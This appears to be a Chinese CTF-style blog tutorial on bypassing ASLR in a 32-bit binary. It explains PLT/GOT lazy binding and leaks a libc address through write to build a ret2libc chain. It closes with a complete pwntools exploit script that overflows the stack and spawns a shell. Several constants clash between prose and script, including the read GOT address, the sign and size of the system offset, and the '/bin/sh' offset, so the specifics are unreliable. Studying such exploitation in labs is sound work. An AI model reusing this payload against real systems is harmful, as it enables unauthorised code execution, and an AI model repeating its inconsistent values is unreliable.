Pwn

Pwn(绕过ASLR)

Posted on 2020-01-09,6 min read

关于ASLR
ASLR(地址随机化)是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。
但是,地址随机化不是对所有模块和内存区都进行随机化!

分析程序


首先main函数调用了vulnerable_function,读取了256个字节。放入128字节大小的栈内
write(1,"hello world",13),第一个参数是文件描述符,为1的时候。将会打印出hello world
很明显的栈溢出问题。但是由于这里开启了ASLR。栈内的地址都是会变化的
当我们使用之前的来利用脚本。将静态的地址写入脚本时。就不能达到想要的效果
延时绑定
这个涉及到GOT/PLT表

read(0,&buf,0xu)

当程序第一次执行。遇到read时。它不知道read函数的地址。就会去plt表里面找函数地址。而plt表中存放的是got表的地址。
简单来说。就是plt表存got表地址。got表存函数地址。plt表就是个中间商
对应关系如下图

当程序第二次遇到read函数的时候。由于第一次已经通过plt->got->查找到函数地址了。第二次以后就会直接去got表里面取函数地址。不用经过plt表
如图。这里程序还没运行时,plt表内read函数的地址是0x8048350

接下来看看这个地址到底存放的是什么。
由于plt表实质上是个跳转指令。所以用pdisass查看

从图中我们可以看到这个read@plt的函数地址对应着plt表中jmp DWORD PTR ds:0x804a00c这一行指令
也就是说。0x804a00c才是真正的read函数地址。但是当第二次执行的时候。地址就会变化
解题思路
理一下我们现有的条件
1:有read函数。可以输入造成溢出
2:有write函数。可以当做输出使用

由于这里没有canary保护可以溢出。问题就在于变化的地址
而这里有write函数。可以输出。那么我们是否可以溢出read函数。覆盖eip为write函数地址。通过类似于ret2lib的方式构造write函数。将真实地址打印出来
由于ASLR只改变地址。函数中相对的地址是不变的。比如system函数地址是在0x5。read函数在0x10
改变地址后。system函数在0x15,read函数在0x20,两者的偏移量永远不变。
当我们知道了write函数打印出来的read函数的真实地址。再在GDB里调试。知道两者的相对偏移
那么真实地址+偏移。就得到了system函数的真实地址
同理。可以得到/bin/sh字符串地址

开始构造:
首先。我们测出覆盖eip需要多少个字节。得到132

下面开始输出函数的真实地址

write(1,read函数地址,读取四个字节)
payload="A"*132+p32(0x8048380)+p32(0x080484ab)+"\x01\x00\x00\x00"+p32(0x804a00c)+"\x04\x00\x00\x00"
         溢出   write函数plt地址    返回地址       参数一        参数二          参数三

write函数PLT地址。read函数GOT地址怎么找呢。
注意要在没有运行程序的时候。查找。

注意这里的返回地址。是write函数执行完后的返回地址。我填的是vulnerable_function的地址。由于程序退出才算正常执行。地址才会变换。那么我们输出真实地址以后。返回到存在栈溢出的函数。再进行溢出。这时候我们已经知道了真实地址。直接覆盖eip就完事了
后面几个参数都是对应write函数的参数x
为什么write函数参数要填got表地址呢。因为got表地址中存的才是真正地址。ASLR只会改变栈。函数地址。并不会改变GOT表这个地址

PLT->GOT>函数地址
PLT和GOT表地址不变。变得是GOT表中存的数据。当我们从GDB中调试。将函数GOT表地址通过write函数输出时。GOT表地址不变。在脚本中可行。GOT表对应的函数真正地址变化。我们通过write输出GOT表中的值。就得到了每次变化的地址

read函数执行前

read函数执行后。地址变化了

得到了地址。我们接收处理

a=p.recv()
a=unpack(a)

算出偏移量。
由于偏移量都不会变。那么我们在main下断点运行程序。从这一次的随机化地址开始算偏移
由于。我们之前write函数参数填的是read函数的GOT地址。输出的是read函数的真实地址。那么这里就要算read函数和system函数的偏移。别输出read函数。算的是write函数和system函数的偏移

得到system函数=真实地址+0x99a10
然后计算/bin/sh偏移

/bin/sh=真实地址+0x84cdb
最后溢出getshell
为什么程序执行完一次还能继续输出呢。因为第一次输出。我们覆盖EIP。修改返回地址填的是有溢出漏洞的那个函数地址。程序执行完read(0,&buf,0x100u)(这个函数已经被我们溢出为write函数了)输出了真实地址。就跳到返回地址去了
所以又执行了一次read(0,&buf,0x100u),这一次。我们有了system函数地址。/bin/sh字符串地址
直接覆盖getshell

p.sendline("A"*132+p32(system)+"BBBB"+p32(binsh))

完整利用脚本

from pwn import *
write_plt=0x8048380
read_got=0x804a018
payload1="A"*132+p32(write_plt)+p32(0x080484ab)+"\x01\x00\x00\x00"+p32(read_got)+"\x04\x00\x00\x00"
p=process('./aslr')
p.sendline(payload1)
a=p.recv()
a=unpack(a)
#真实地址
sysaddr=a-0x99a80
#真实地址+偏移
binsh=a+0x84c6b
#真实地址+偏移
p.sendline("A"*132+p32(sysaddr)+"BBBB"+p32(binsh))
#溢出+system函数地址+返回地址+字符串地址(参数)
p.interactive()

下一篇: [ISITDTU 2019]EasyPHP(无数字字母Webshell进阶)→